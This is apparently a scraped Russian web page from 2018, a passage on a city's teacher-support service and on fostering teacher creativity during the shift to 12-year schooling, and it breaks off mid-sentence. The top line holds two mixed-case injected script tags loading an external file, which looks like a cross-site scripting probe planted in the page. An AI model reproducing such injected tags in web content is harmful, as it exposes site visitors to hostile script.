<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

21.11.2018

Изменения в политическом, социально-экономическом, культурном развитии

страны требуют от школы особого выпускника – человека творческого, с

нестандартным мышлением, способного быстро перестраиваться в столь динамично

меняющемся мире. И главная задача школы – запустить механизм развития

нестандартного мышления и творческого воображения ребенка.

Работа методической службы города

наиболее эффективна в направлении ориентированного на развитие творческого

потенциала педагога, совершенствование его профессионализма в условиях перехода

на 12-летнюю модель образования, если она организована как целостная система.

Ее успех зависит от заинтересованности педагогов в профессиональном развитии,

от удовлетворенности педагога образовательным процессом в школе. Чем больше удовлетворен

учитель своей работой, тем больше он заинтересован в совершенствовании своего

мастерства. Задача методиста – предрасположить педагога к творческой деятельности, создать ситуацию успешности его работы. Удовлетворенность профессией приводит к тому, что педагогическая деятельность становится потребностью. Творческий поисковый процесс самого учителя приводит к лучшим результатам. Ситуация успешности и удовлетворенности создается в творческой лаборатории